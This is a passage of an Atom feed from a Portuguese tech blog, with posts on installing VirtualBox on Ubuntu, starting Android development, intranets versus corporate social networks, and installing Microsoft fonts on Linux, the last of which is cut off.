</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/2595113242928248159/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2016/01/entendendo-o-ataque-arp-spoofing.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2595113242928248159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2595113242928248159'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2016/01/entendendo-o-ataque-arp-spoofing.html' title='Entendendo o ataque ARP spoofing + SSLStrip'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91FjBiEUT3lwzDBboM8C2ljlCo7St70EvCAjcfDlziZZPovpu25e0Jd4crJocfm9eoHYY9R-1pgYTQ2Tj_MtLw2gGZP5n21eH8pzWAGoFtf_PeVcdVhlVhQYVDFzpSVbfjKr_RxjhsWM/s72-c/ettercap.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-1052635246712164573</id><published>2015-12-28T20:36:00.001-03:00</published><updated>2015-12-28T20:36:27.169-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Instalar o Oracle VirtualBox 4.3.20 no Ubuntu 14.04 / 14.10</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqzUrOjmQ1K6MmkcEBYTzZn4cvy0gVDmdY29F1WKrgely-08-X6SNqZOdJl5JFKI5e1OMKZ3CsfehihUVYuevcPxfx9yaM4fFMER4vEbm10GOaLGVYDjYI54YRAvA_6uSyASB0rGRTHA8/s1600/virtualbox-4.3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqzUrOjmQ1K6MmkcEBYTzZn4cvy0gVDmdY29F1WKrgely-08-X6SNqZOdJl5JFKI5e1OMKZ3CsfehihUVYuevcPxfx9yaM4fFMER4vEbm10GOaLGVYDjYI54YRAvA_6uSyASB0rGRTHA8/s320/virtualbox-4.3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Oracle VM VirtualBox é um pacote de software de virtualização para sistemas x86 e computadores baseados em Intel64 AMD64 / para Oracle Corporation. VirtualBox é executado em Windows, Linux, Macintosh e Solaris anfitriões e suporta um grande número de sistemas operacionais convidados, incluindo, mas não limitado ao Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7, Windows 8), DOS / Windows 3.x, Linux (2.4, 2.6 e 3.x), Solaris e OpenSolaris, OS / 2, e OpenBSD. Neste artigo mostrar-lhe como instalar o Oracle VirtualBox no seu Ubuntu 14.04 / 14.10.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;Adicionar repositório VirtualBox&lt;/b&gt;&lt;br /&gt;
Primeiro, edite /etc/apt/sources.list e adicione um dos seguinte linha egundo a sua distribuição para o seu sistema:&lt;br /&gt;
&lt;br /&gt;
Para o Ubuntu 14.10 (&quot;Utopic Unicorn&quot;)&lt;br /&gt;
&lt;i&gt;deb http://download.virtualbox.org/virtualbox/debian utopic contrib&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Para o Ubuntu 14.04 (&quot;Trusty Tahr&quot;)&lt;br /&gt;
&lt;i&gt;deb http://download.virtualbox.org/virtualbox/debian trusty contrib&lt;/i&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Adicionar a chave pública do Oracle&lt;/b&gt;&lt;br /&gt;
Depois de adicionar repositório apt necessária no seu sistema, faça o download e importar a chave pública do Oracle para o apt-seguras usando comandos a seguir.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;$ wget http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;$ sudo apt-key add oracle_vbox.asc&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Instalar VirtualBox&lt;/b&gt;&lt;br /&gt;
Agora, instale o VirtualBox:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;$ sudo apt-get update&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;$ sudo apt-get install virtualbox-4.3 -y&lt;/i&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/1052635246712164573/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2015/12/instalar-o-oracle-virtualbox-4320-no.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1052635246712164573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1052635246712164573'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2015/12/instalar-o-oracle-virtualbox-4320-no.html' title='Instalar o Oracle VirtualBox 4.3.20 no Ubuntu 14.04 / 14.10'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqzUrOjmQ1K6MmkcEBYTzZn4cvy0gVDmdY29F1WKrgely-08-X6SNqZOdJl5JFKI5e1OMKZ3CsfehihUVYuevcPxfx9yaM4fFMER4vEbm10GOaLGVYDjYI54YRAvA_6uSyASB0rGRTHA8/s72-c/virtualbox-4.3.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-1887689824651626301</id><published>2015-11-22T08:37:00.000-03:00</published><updated>2015-12-02T20:58:07.291-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="TI"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>COMO COMEÇAR A DESENVOLVER SEUS PRÓPRIOS APLICATIVOS ANDROID</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVQVvoI2uvhbHp-Nw0ca5j5XPOHQq0SEl89eFz28g7-1loOEDip3UsOmirqFHC3__IYiC2BZf0pr8_Gn6L3Dub0wuSA-QdpIWYgupuDB7PEuvRMUEoEiUtwuoR4bZFIJC-ScUv98lV_zg/s1600/androidDevelopers.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVQVvoI2uvhbHp-Nw0ca5j5XPOHQq0SEl89eFz28g7-1loOEDip3UsOmirqFHC3__IYiC2BZf0pr8_Gn6L3Dub0wuSA-QdpIWYgupuDB7PEuvRMUEoEiUtwuoR4bZFIJC-ScUv98lV_zg/s320/androidDevelopers.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Os celulares estão cada vez mais presentes no dia a dia das pessoas pelo mundo, sendo cada vez mais utilizados para acessar a Internet e controlar outros tipos de dispositivos. São milhões de pessoas conectadas, em metrôs, carros, praças, e etc. O crescimento mobile foi tão grande e aconteceu tão rápido, que a demanda por profissionais qualificados é altíssima e a quantidade destes no mercado, ainda é escassa. Ou seja, aqueles que desejam se inserir no mercado e seguir uma carreira como desenvolvedor mobile, tem grandes oportunidades.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
O Android é o Sistema Operacional mobile mais utilizado no mundo. Neste momento existem mais usuários, mais telefones e tablets em todo o mundo do que qualquer outro Sistema Operacional mobile. A Google Play Store tem crescido a uma velocidade avassaladora e para os empresários e desenvolvedores é a oportunidade de ganhar ainda mais dinheiro e alcançar uma base de público ainda mais ampla.&lt;br /&gt;
&lt;br /&gt;
Mas, primeiro, você vai ter que aprender a desenvolver aplicativos Android. Neste post vamos aprender os requisitos básicos para desenvolver um aplicativo na plataforma Android.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;INTRODUÇÃO: NOÇÕES DO ANDROID&lt;/b&gt;&lt;/h2&gt;
Antes de você mergulhar de cabeça no desenvolvimento do Android, você precisa entender como funciona o Android.&lt;br /&gt;
&lt;br /&gt;
O Android, como você já deve saber, é um Sistema Operacional Open Source lançado sob a licença da Apache. Ele foi originalmente desenvolvido em 2003 por Andy Rubin, Nick Sears, Chris White e Rich Miner como uma alternativa ao Symbian (Nokia) e Windows Mobile (Microsoft). Dois anos mais tarde, o Google adquiriu a empresa com o objetivo de atingir o mercado mobile que estava em expansão. O Sistema Operacional foi alimentado com o Kernel Linux e foi apresentado oficialmente em 5 de novembro de 2007 – quase um ano após o anúncio iPhone pela Apple no início de 2007. Desde então, o Android tem crescido com força e ultrapassou o iOS da Apple em termos de popularidade se tornando o Sistema Operacional mobile mais popular do mundo.&lt;br /&gt;
&lt;br /&gt;
As versões atuais do Android são alimentadas pelo Linux Kernel versão 3.x. A maioria do código – bibliotecas, APIs, etc. – é escrita em C e os aplicativos rodam em um framework Java de compatibilidade que foi baseado no Apache Harmony, uma implementação Open Source do Java. Do lado do hardware, o Android utiliza a arquitetura ARM com suporte para x86 também.&lt;br /&gt;
&lt;br /&gt;
A arquitetura do Android pode ser descrita da seguinte forma:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6mJNCizfYHMPN1HTw28U8ytz7iqXa8Sai7q6Itvz_NHb8bIOhLY77ThzoFoyX9QG4efVoi-GGxrF7jpLAOHRdy8k8pU5cdev3pIITozvyNibTe1aetJqw07G0cbXcXCpxadmA3UbRffE/s1600/ape_fwk_all.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6mJNCizfYHMPN1HTw28U8ytz7iqXa8Sai7q6Itvz_NHb8bIOhLY77ThzoFoyX9QG4efVoi-GGxrF7jpLAOHRdy8k8pU5cdev3pIITozvyNibTe1aetJqw07G0cbXcXCpxadmA3UbRffE/s640/ape_fwk_all.png&quot; width=&quot;420&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;(fonte: Android Source – https://source.android.com/devices/)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Basicamente, isso significa que o Android é feito de multicamadas onde o Kernel Linux é a base. A primeira camada é a de Hardware Abstraction Layer (HAL), uma interface entre a plataforma e os diferentes fabricantes de hardwares. A segunda camada é a de System Service, API que comunica com os serviços do sistema para acessar o hardware. A terceira camada é referente ao Binder IPC, responsável por fazer a comunicação entre os processos executados na plataforma. E a última, mas não menos importante, a camada de Application Framework, onde fica todos os recursos das várias versões das API’s do Android.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;Assunto indicado: &amp;nbsp;DraftSight no Ubuntu 11.10 64 bits&lt;/i&gt;&lt;/blockquote&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;DESENVOLVENDO PARA ANDROID: O QUE VOCÊ PRECISA&lt;/b&gt;&lt;/h2&gt;
Antes de prosseguir com o desenvolvimento do Android, você vai precisar das seguintes ferramentas:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Android SDK:&lt;/b&gt; O Android Software Development Kit contém tudo que você precisa – ferramentas, bibliotecas e compiladores – para criar seus próprios aplicativos Android.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Android Studio:&lt;/b&gt; O Android Studio é a IDE oficial do Google que já vem com o Android SDK para desenvolvimento Android, nela existe um conjunto de ferramentas para lidar com a criação de aplicativos. Você pode fazer o &lt;a href=&quot;http://developer.android.com/sdk/index.html&quot; target=&quot;_blank&quot;&gt;download aqui.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Java: &lt;/b&gt;As aplicações Android são escritas em Java. O que significa que você vai ter que aguçar suas habilidades na linguagem Java.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Emuladores: &lt;/b&gt;No decorrer do desenvolvimento de aplicativos Android, você vai precisar testar ele em vários tipos de celular com diferentes versões da plataforma. Os emuladores ajudam nesse trabalho emulando várias configurações da plataforma.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;PROGRAMANDO PARA ANDROID&lt;/b&gt;&lt;/h2&gt;
Existem algumas preocupações que temos que ter na hora de desenvolver nosso aplicativo Android. Por exemplo, não há uma versão “padrão” do Android, existem milhões de dispositivos que executam diferentes versões do Sistema Operacional. Também não há um tamanho “padrão” de tela; você terá que otimizar o aplicativo para telas que variam de 3,8 “para 9,7”, porém, o Android deixa você livre para seguir qualquer tipo de modelagem de desenvolvimento, que pode ser intimidante para iniciantes (mas flexível para usuários experientes).&lt;br /&gt;
&lt;br /&gt;
Desenvolver para o Android apresenta uma série de desafios de programação e design. Você pode facilitar a transição para o desenvolvimento Android com o ebook Android Aprendiz para iniciantes. O lado positivo é que, você não precisa de um novo computador para iniciar o desenvolvimento de aplicativos Android – qualquer computador antigo capaz de rodar Ubuntu é o suficiente. Com o SDK do Android e alguns conhecimentos de Java, você pode começar agora mesmo.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;CONCORRA A LIVROS E CURSOS DE DESENVOLVIMENTO ANDROID!&lt;/b&gt;&lt;/h2&gt;
Com a intenção de ajudar na imersão de desenvolvedores no mundo do desenvolvimento Android, estamos fazendo um sorteio de quase R$ 1.000,00 em cursos e livros para quem quer entrar no mundo mobile que movimenta milhões de pessoas.&lt;br /&gt;
&lt;br /&gt;
Para participar é muito fácil, &lt;a href=&quot;http://www.androidpro.com.br/&quot; target=&quot;_blank&quot;&gt;acesse o link abaixo&lt;/a&gt;, faça o cadastrado respondendo a pergunta e confirme sua participação no email que vamos enviar para você. Após a confirmação, você receberá o seu Link da Sorte.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Participar do Sorteio.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Você pode aumentar muito suas chances compartilhando o seu Link da Sorte com seus amigos, redes sociais, fóruns e etc. Quanto mais pessoas se cadastrarem pelo seu link, mais chances você tem de ganhar.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Participar do Sorteio.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Por enquanto é isso, aproveite ao máximo todas as informações que passei neste artigo e inicie o quanto antes a desenvolver aplicativos para Android.&lt;br /&gt;
&lt;br /&gt;
Até a próxima.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fellipe Cordeiro &lt;/b&gt;– &lt;a href=&quot;http://www.ubuntudicas.com.br/blog/link/lp-android-accelerate/&quot; target=&quot;_blank&quot;&gt;ANDROIDPRO&lt;/a&gt;&lt;br /&gt;
Fonte:&amp;nbsp;&lt;a href=&quot;http://www.ubuntudicas.com.br/&quot; target=&quot;_blank&quot;&gt;UbuntuDicas&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/1887689824651626301/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2015/11/como-comecar-desenvolver-seus-proprios.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1887689824651626301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1887689824651626301'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2015/11/como-comecar-desenvolver-seus-proprios.html' title='COMO COMEÇAR A DESENVOLVER SEUS PRÓPRIOS APLICATIVOS ANDROID'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVQVvoI2uvhbHp-Nw0ca5j5XPOHQq0SEl89eFz28g7-1loOEDip3UsOmirqFHC3__IYiC2BZf0pr8_Gn6L3Dub0wuSA-QdpIWYgupuDB7PEuvRMUEoEiUtwuoR4bZFIJC-ScUv98lV_zg/s72-c/androidDevelopers.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-2242037044835235774</id><published>2015-10-27T20:57:00.001-03:00</published><updated>2015-11-22T08:39:47.573-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Rede Sociais"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><category scheme="http://www.blogger.com/atom/ns#" term="Webdesigner"/><title type='text'>ENTENDA A DIFERENÇA ENTRE INTRANET E REDE SOCIAL CORPORATIVA</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg55GOMVwZ6N2JIjn40vW-yvNoK7zIKrDBCNLFRTjkFwfgCwHEc5ocTu9_ghJ3g59Byl2SSaxEyvee9spgu_fwJWNZcVL-g8MaLdn3bqYSMsT-o0d5zonBV0svHR94IgDW7nN4pMYBnf0/s1600/Rede_Social.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;193&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg55GOMVwZ6N2JIjn40vW-yvNoK7zIKrDBCNLFRTjkFwfgCwHEc5ocTu9_ghJ3g59Byl2SSaxEyvee9spgu_fwJWNZcVL-g8MaLdn3bqYSMsT-o0d5zonBV0svHR94IgDW7nN4pMYBnf0/s200/Rede_Social.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Colaboração, integração, compartilhamento de conteúdos. Termos como esses são cada vez mais frequentes no mundo corporativo. Ao longo dos anos, as empresas vêm buscando novas formas de aproximar os colaboradores dos diferentes setores da companhia, visando tornar a comunicação e o compartilhamento de informações mais eficientes. A tecnologia permitiu que essas empresas estabelecessem plataformas que permitissem essas trocas e, nesse sentido, as intranets e redes sociais corporativas se destacam como as mais recomendadas. Porém, como saber qual plataforma é mais adequada ao cenário da empresa? Quais as diferenças básicas entre elas? Bom, são essas perguntas que vamos tentar responder.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A diferença primordial entre intranets e redes sociais corporativas está no conceito de cada uma. A intranet caracteriza-se como uma versão privada da internet, ou seja, uma rede de computadores privados que compartilham conteúdos e sistemas através de um ambiente único. A postagem de conteúdo acontece de forma centralizada, ou seja, por meio de um emissor que figura como a “voz da empresa”. Com a chegada do conceito de web 2.0, as intranets passaram a contar também com espaços colaborativos como comentários, enquetes, fóruns entre outros recursos. Porém, mesmo com espaços para colaboração, a empresa ainda é responsável pelo fornecimento de conteúdo e moderação dos usuários.&lt;br /&gt;
&lt;br /&gt;
Por outro lado, as redes sociais corporativas são espaços estruturados a partir das relações entre os usuários. Os conteúdos são fornecidos pelos próprios membros. Dessa forma, não existe um ponto central de informação. Todos os usuários são, ao mesmo tempo, emissores e receptores de conteúdo, interagindo entre si por meio de comunidades, grupos de trabalho, perfis pessoais, fóruns, entre outros. A moderação é feita pelos próprios usuários.&lt;br /&gt;
&lt;br /&gt;
Durante algum tempo boa parte do mercado pensou que as redes sociais corporativas vieram para substituir as intranets, porém, o que podemos observar é uma trajetória que tende ao encontro das duas. A tendência é a orientação ao conteúdo, típica das intranets, ir de encontro à orientação das pessoas, presente nas redes sociais corporativas. Conteúdo sem colaboração vira canal de noticias e repositório de documentos. Colaboração sem integração com os conteúdos e sistemas corporativos se perde e não gera os resultados esperados.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg99XUcXy84uhgSj0cIUrypsJEdp2tsvIaExWmpz_bIRSE2y3I5uQwUyGk0olOhX5hxRf78Fx7hj-GJYCFcFTL14NimoP4M8W0Khxoal1KrYGBbDRTo5nE0ZjPikI8Fh8mcbi5Rmw1BrWU/s1600/funcionalidades2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg99XUcXy84uhgSj0cIUrypsJEdp2tsvIaExWmpz_bIRSE2y3I5uQwUyGk0olOhX5hxRf78Fx7hj-GJYCFcFTL14NimoP4M8W0Khxoal1KrYGBbDRTo5nE0ZjPikI8Fh8mcbi5Rmw1BrWU/s640/funcionalidades2.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
O que podemos concluir é que as duas tecnologias são complementares. Cabe à empresa definir seus objetivos e escolher se é melhor dar foco na geração e gestão de conteúdo, promovendo a colaboração e participação dos funcionários como algo complementar ou se é melhor focar na interação entre os usuários, fornecendo conteúdos apenas para apoiar as atividades da rede.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO-0-SSDjSFIQv6Vpk3m8vfDV3ve_-kCmrHHT7SicwfCg30wADAaF2K4eZEfW2YM0Iu7bQDnNf2JrJFoyR183F-vvI8036aYcA4oxPmsuwxH8FHlCqL9_aPb_ru-wCHU0bQBjJtXMtSyk/s1600/01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;223&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO-0-SSDjSFIQv6Vpk3m8vfDV3ve_-kCmrHHT7SicwfCg30wADAaF2K4eZEfW2YM0Iu7bQDnNf2JrJFoyR183F-vvI8036aYcA4oxPmsuwxH8FHlCqL9_aPb_ru-wCHU0bQBjJtXMtSyk/s400/01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
E aí, qual estratégia mais se encaixa na realidade da sua empresa?&lt;br /&gt;
&lt;div&gt;
A AzorWeb tem uma solução para a sua empresa. Conte com a gente!&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/2242037044835235774/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2015/10/entenda-diferenca-entre-intranet-e-rede.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2242037044835235774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/2242037044835235774'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2015/10/entenda-diferenca-entre-intranet-e-rede.html' title='ENTENDA A DIFERENÇA ENTRE INTRANET E REDE SOCIAL CORPORATIVA'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg55GOMVwZ6N2JIjn40vW-yvNoK7zIKrDBCNLFRTjkFwfgCwHEc5ocTu9_ghJ3g59Byl2SSaxEyvee9spgu_fwJWNZcVL-g8MaLdn3bqYSMsT-o0d5zonBV0svHR94IgDW7nN4pMYBnf0/s72-c/Rede_Social.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-9071972172994259010</id><published>2015-10-02T22:21:00.000-04:00</published><updated>2015-11-22T08:40:27.307-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Fontes"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>FONTES DA MICROSOFT - INSTALAÇÃO NO UBUNTU E FEDORA</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDtkGgbaZ7IKOP-0NH1udYeq8FqMSZRjyhJck2nN4J94HFs4JUuhsra9Ru0M7hyIhjmUd32DgWKWmHthKGJifheBW9Ku0aAzU374ZUxSQv25mX5LNvHi7UDZPtzzSNtotpJ8uA0vqIOEg/s1600/install_windows_fonts_on_ubuntu_10_04.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;141&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDtkGgbaZ7IKOP-0NH1udYeq8FqMSZRjyhJck2nN4J94HFs4JUuhsra9Ru0M7hyIhjmUd32DgWKWmHthKGJifheBW9Ku0aAzU374ZUxSQv25mX5LNvHi7UDZPtzzSNtotpJ8uA0vqIOEg/s200/install_windows_fonts_on_ubuntu_10_04.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Resolvi fazer este artigo (o meu primeiro) a respeito das fontes MS Office para instalação no Ubuntu e Fedora, sendo assim possível de se instalar também pelos métodos descritos em sistemas baseados em Debian, ou que utilizem RPM.&lt;br /&gt;
&lt;br /&gt;
Um pacote muito útil para os universitários que utilizam GNU/Linux (o meu caso), pelas normas da ABNT exigirem que os trabalhos sejam entregues somente com as fontes Times New Roman e Arial, não precisando que seja descrito a importância delas neste artigo.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Além de utilizar uma distro GNU/Linux, você tem que ter uma boa conexão com a Internet e estar logado como root.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;INSTALAÇÃO NO UBUNTU&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Esta parte irá contemplar tanto os usuários do Ubuntu quanto os do Linux Mint e alguns outros sistemas baseados em Debian.&lt;br /&gt;
&lt;br /&gt;
É possível instalar as fontes no Ubuntu de duas formas diferentes: a primeira é pela Central de Programas e a segunda, é por um terminal.&lt;br /&gt;
&lt;br /&gt;
Pela Central de Programas, geralmente, o pacote é instalado junto com o Ubuntu Restricted Extras, sendo que no meio do processo você será obrigado a aceitar um termo de uso e tudo certo, teoricamente.&lt;br /&gt;
&lt;br /&gt;
